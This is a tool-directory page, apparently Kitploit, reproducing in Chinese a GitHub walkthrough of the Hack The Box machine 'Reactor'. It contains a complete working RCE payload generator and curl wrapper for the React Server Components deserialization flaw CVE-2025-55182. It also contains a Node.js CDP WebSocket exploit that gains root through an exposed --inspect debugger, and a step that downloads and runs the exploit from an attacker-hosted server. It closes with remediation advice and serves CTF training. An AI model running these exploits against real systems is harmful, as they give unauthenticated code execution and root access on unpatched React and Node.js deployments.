Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
权限提升侦察漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用CTF渗透测试学习与教育

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
远程访问工具
实验室与实践
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

HTB Reactor 机器的完整演练 — 利用 CVE-2025-55182 获取 shell,然后通过暴露的 Node.js 调试器获取 root 权限。附带截图的分步指南。

查看仓库
193个月前尚未审核

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] 剧透警告。 这是一份包含 flag 的完整通关攻略。如果你想自行攻克这台机器,请立即关闭本文,卡住时再回来。


机器信息

字段详情
名称Reactor
操作系统Ubuntu 24.04 LTS (Noble)
难度中等
CVECVE-2025-55182 (CVSS 10.0)
端口22 (SSH), 3000 (Next.js)
作者sonnycroco

概述

Reactor 的主题是一个名为 ReactorWatch 的核电站监控仪表盘。这台机器完全围绕两个串联起来的漏洞展开——没有猜测,没有误导分支,没有暴力破解。

攻击路径:一个预发布版的 React 19 构建暴露了严重的反序列化缺陷,仅需一次 HTTP 请求即可获得未授权远程代码执行。由此,一个以 root 运行的 Node.js 调试端口,通过一条 WebSocket 消息让你获得完整的系统访问权。

攻击链:

root@kitploit:~
Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

目录

  1. 第 1 步:侦察
  2. 第 2 步:识别技术栈
  3. 第 3 步:利用 CVE-2025-55182(未授权远程代码执行)
  4. 第 4 步:以 node 身份四处探查
  5. 第 5 步:用户 Flag
  6. 第 6 步:权限提升
  7. 第 7 步:Root Flag
  8. 经验教训
  9. 修复建议

第 1 步:侦察

在任何一台新机器上,第一件事都是找出当前开放的端口。进行一次包含服务检测的完整端口扫描,确保不会遗漏任何内容。

root@kitploit:~
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
root@kitploit:~
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Nmap 扫描结果显示 22 和 3000 端口开放,并识别出 Next.js

只有两个端口。现阶段我们还没有任何凭据,所以 SSH 是死路一条,端口 3000 才是目标。Nmap 已经告诉我们它是 Next.js 15.0.3,这是一个很好的突破口。


第 2 步:识别技术栈

在向任何目标发起利用之前,我需要确切知道所有正在运行的组件的版本。HTTP 响应头已经揭示了 Next.js,但 React 版本才是关键细节。React 19 在很长一段时间内处于预发布状态,在稳定版发布之前存在一些严重问题。

拉取一个客户端 JavaScript 分块来检查:

root@kitploit:~
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
root@kitploit:~
19.0.0-rc-66855b96-20241106

版本字符串中的 rc 就是铁证。这是 React 19 的发布候选(RC)构建,而非稳定版本。CVE 数据库证实:CVE-2025-55182 正是影响这个构建,CVSS 10.0。

顺带检查一下响应头中是否有中间件的线索:

root@kitploit:~
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

任何地方都没有 x-middleware-rewrite 响应头,这意味着没有安装 Next.js 中间件。这排除了 CVE-2025-29927(中间件绕过),值得注意,免得你在错误的方向浪费时间。

目前已知信息:

  • Next.js 15.0.3,启用了 experimental.serverActions
  • React 19.0.0-rc,受 CVE-2025-55182 影响
  • 应用名称:ReactorWatch(核反应堆传感器仪表盘)
  • 无中间件,因此中间件绕过 CVE 不适用于此处

技术栈指纹识别显示检测到 React 19.0.0-rc 并确定为 CVE-2025-55182


第 3 步:利用 CVE-2025-55182(未授权远程代码执行)

漏洞是什么

React 19 的 Server Components 引入了 Server Actions,这是客户端通过包含 Next-Action 头的 HTTP POST 即可调用的服务端函数。处理这些请求的 multipart 正文解析器存在一个关键缺陷:它会对名为 $1:__proto__:then 的引用类型进行不安全的反序列化。

通过构造一个将 _response._prefix 设为任意 JavaScript 的 multipart 正文,攻击者可以让该代码在服务器上被执行。随后,输出通过 Next.js 内部用于重定向的异常(NEXT_REDIRECT)被夹带出来,并最终以 URL 编码的形式出现在 x-action-redirect 响应头中。

任何带 Next-Action 头的 POST 到任何页面都会触发该漏洞。没有认证检查,没有特殊端点。只需向 / 发送 payload,你就进去了。

构建利用代码

一个小型 Python 辅助脚本,将 shell 命令作为输入,构造 multipart payload,并写入磁盘供 curl 发送:

make_rce.py - payload 生成器
root@kitploit:~
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

为了让操作更有伪终端的感觉,将整个流程包装为一个 shell 函数:

root@kitploit:~
rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

下面是原始 HTTP 交互。命令输出就明晃晃地位于重定向头中:

root@kitploit:~
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

触发利用

root@kitploit:~
rce "id"
# uid=999(node) gid=988(node) groups=988(node)

我们以 node 服务账号身份进到了里面。没有认证,没有暴力破解,没有社会工程学,只有一次 HTTP POST。这就是 CVSS 10.0 在实际中的样子。

CVE-2025-55182 利用的原始 HTTP 请求与响应,命令输出可见于重定向头

[!WARNING] 继续之前需要知道两件事:

  • execSync 是同步的,会阻塞响应线程。不要用它来生成反向 shell,改用异步的 exec(),否则服务器会挂起。
  • NEXT_REDIRECT 模板字符串会在换行处断裂。在输出进入 URL 之前,始终用 paste -sd, 将多行输出压平。

第 4 步:以 node 身份四处探查

代码执行能力已经建立,下一步目标是了解环境:这台机器上有什么,哪些凭据散落各处,以及是否存在通往更高权限用户的明显路径。

检查应用配置

root@kitploit:~
rce "cat /opt/reactor-app/.env | paste -sd,"
root@kitploit:~
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production

磁盘上有一个 SQLite 数据库。看看里面有什么:

root@kitploit:~
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
root@kitploit:~
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]

一个带 MD5 哈希的管理员账户。用 John 配合 rockyou 字典跑了一遍,没有破解。没关系,一旦我们找到真正的提权路径,哈希破解就变得没有必要。先把它放到一边,继续推进。

检查用户与家目录

root@kitploit:~
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root@kitploit:~
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash

有一个名为 engineer 的用户。用户 flag 就在其家目录中。

[!NOTE] 在这台机器的某些实例中,/home/engineer/ 被设置为 700 权限,这意味着 node 服务账号无法直接读取它。如果遇到这种情况,别慌。第 6 步覆盖的 root 提权路径可以让你以 root 身份读取两个 flag。


第 5 步:用户 Flag

root@kitploit:~
rce "cat /home/engineer/user.txt"
root@kitploit:~
f7b714f9fdf5c08a5f240668792aa13f

如果你所在实例的 /home/engineer/ 被锁定,直接跳到第 6 步,以 root 身份获取两个 flag。


第 6 步:权限提升

找到通往 root 的路径

立足点已经建立,检查机器上正在运行的进程。完整的 ps aux 输出很长,因此过滤出所有与 Node.js 相关的内容:

root@kitploit:~
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
root@kitploit:~
node    1415  next-server (v15.0.3)
root    1417  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

就是它。第二个 Node.js 进程以 root 身份运行,并且是用 --inspect 标志启动、绑定到 127.0.0.1:9229。这是一个 uptime 监控脚本,有人在启用 Node.js 调试器的情况下启动了它,然后就一直让它运行着。

为什么这能让我们拿到 root

--inspect 标志会开启 Chrome DevTools 协议(CDP),也就是你浏览器开发者工具所用的同一协议。一旦连接上去,你就可以让该进程在其自身的 V8 上下文中执行任意 JavaScript。由于这个进程以 root 运行,你执行的任何东西也都会以 root 身份运行。

唯一的障碍是调试器绑定在 localhost,不过我们已经以 node 身份在这台机器上获得代码执行能力,因此访问它毫无问题。

确认调试器处于活动状态,并抓取 WebSocket URL:

root@kitploit:~
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
root@kitploit:~
[{
  "description": "node.js instance",
  "id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]

[!IMPORTANT] WebSocket URL 中的 UUID(1d85ee80-...)对每个进程实例都是独一无二的。你的环境会不同。运行前从 JSON 输出中复制它,并更新到利用脚本中。

ps aux 输出显示 root 的 Node.js inspect 进程,以及 json 端点返回的 WebSocket 调试器 URL

编写 CDP 利用代码

要向调试器发送 Runtime.evaluate 命令,我们需要一个 WebSocket 客户端。目标机器上没有 ws npm 包,因此只使用 Node.js 内置模块从零编写一个最小实现:net 负责 TCP 连接,crypto 负责 WebSocket 帧掩码。

inspector_exploit.js - 无依赖的 WebSocket CDP 客户端
root@kitploit:~
const net = require('net');
const crypto = require('crypto');

// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';

function encodeFrame(data) {
  const payload = Buffer.from(data, 'utf8');
  const mask = crypto.randomBytes(4);
  let headerLen = (payload.length < 126) ? 6 : 8;
  const header = Buffer.alloc(headerLen);
  header[0] = 0x81;
  if (payload.length < 126) {
    header[1] = 0x80 | payload.length;
    mask.copy(header, 2);
  } else {
    header[1] = 0xfe;
    header.writeUInt16BE(payload.length, 2);
    mask.copy(header, 4);
  }
  const masked = Buffer.alloc(payload.length);
  const maskStart = headerLen - 4;
  for (let i = 0; i < payload.length; i++) {
    masked[i] = payload[i] ^ header[maskStart + (i % 4)];
  }
  return Buffer.concat([header, masked]);
}

const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);

sock.on('connect', () => {
  sock.write(
    `GET /${WS_ID} HTTP/1.1\r\n` +
    `Host: 127.0.0.1:9229\r\n` +
    `Upgrade: websocket\r\n` +
    `Connection: Upgrade\r\n` +
    `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
    `Sec-WebSocket-Version: 13\r\n\r\n`
  );
});

sock.on('data', (data) => {
  chunks = Buffer.concat([chunks, data]);
  if (!upgraded) {
    const str = chunks.toString('utf8');
    const sep = str.indexOf('\r\n\r\n');
    if (sep === -1) return;
    upgraded = true;
    chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
    const msg = JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: { expression: CMD, returnByValue: true }
    });
    sock.write(encodeFrame(msg));
    return;
  }
  while (chunks.length > 2) {
    const b1 = chunks[1] & 0x7f;
    let payloadStart, payloadLen;
    if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
    else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
    if (chunks.length < payloadStart + payloadLen) return;
    process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
    sock.destroy();
    process.exit(0);
  }
});

sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);

[!WARNING] 在 CDP Runtime.evaluate 调用中,裸 require() 函数不在全局作用域内,即使 worker.js 本身是 CommonJS 模块也一样。必须使用 process.mainModule.require(...)。直接使用 require() 会抛出 ReferenceError 并且不产生任何输出。

投递并运行利用代码

在攻击机上托管该脚本:

root@kitploit:~
python3 -m http.server 8080 --directory /tmp/www &

通过 RCE 链在目标机上下载并运行它:

root@kitploit:~
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"

响应:

root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}

我们正在以 uid=0 运行的进程内部执行任意 JavaScript。

CDP Runtime.evaluate 响应确认 uid=0 且以 root 身份执行代码


第 7 步:Root Flag

同一个利用代码,只是把 CMD 换成了不同的命令:

root@kitploit:~
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root@kitploit:~
root.txt: 5c091a1960eb124c53910c1a1f456334

两个 flag 均已获取,user.txt 和 root.txt,机器被完全攻破

从第一次请求到拿到 root 的总耗时:一旦理解了该 CVE,不到 10 分钟。没有暴力破解,没有密码爆破,没有误导分支。


经验教训

1. 不要假设 Next.js 的 CVE 会叠加出现

CVE-2025-29927(中间件绕过)和 CVE-2025-55182 几乎同时成为热点。在测试中间件绕过之前,一定要先确认中间件是否真的存在。x-middleware-rewrite 响应头的有无会立刻告诉你答案。在错误的 CVE 上浪费时间很容易。

2. execSync 会弄坏反向 shell

它会阻塞整个服务器响应线程,直到子进程退出。通过它启动 bash -i 或 netcat shell 会导致两边都挂起。如果你需要通过这个利用代码获得交互式 shell,请改用 child_process 中的异步 exec()。

3. 外带数据前先压平多行输出

命令输出会被嵌入到一个 JavaScript 模板字符串中: NEXT_REDIRECT;push;/login?a=${res};307;。res 中的任何字面换行都会破坏模板字符串并导致无输出。在外带之前,将所有内容通过管道传给 paste -sd, 来合并成一行。

4. 在 CDP 上下文中 require 不是全局的

当你向 Node.js 调试器发送 Runtime.evaluate 时,你是在一个 V8 隔离环境中执行,该环境不会把 CommonJS 的 require 函数暴露为全局,即使目标进程本身是一个 CommonJS 模块也是如此。在 CDP 表达式中始终使用 process.mainModule.require("module")。

5. 家目录权限因实例而异

在这台机器的某些实例中,node 服务账号可以直接读取 /home/engineer/user.txt;在其他实例中,家目录的 700 权限会阻止读取。而 root 提权路径始终有效,无论哪种情况都能让你拿到两个 flag。


修复建议

下载工具
漏洞修复方案
CVE-2025-55182将 React 从 19.0.0-rc 升级到稳定的 React 19 正式版。将 Next.js 升级到 15.2.3 或更高版本。
以 root 运行 Node.js --inspect彻底移除所有生产进程中的 --inspect。在共享系统上,绝不要让调试器绑定任何地址,即使是 127.0.0.1 也不行。使用专用的隔离环境进行调试。
应用目录中的 SQLite 数据库将数据库移到 Web 根目录之外。限制文件系统权限,使 Web 进程只能访问其严格必需的内容。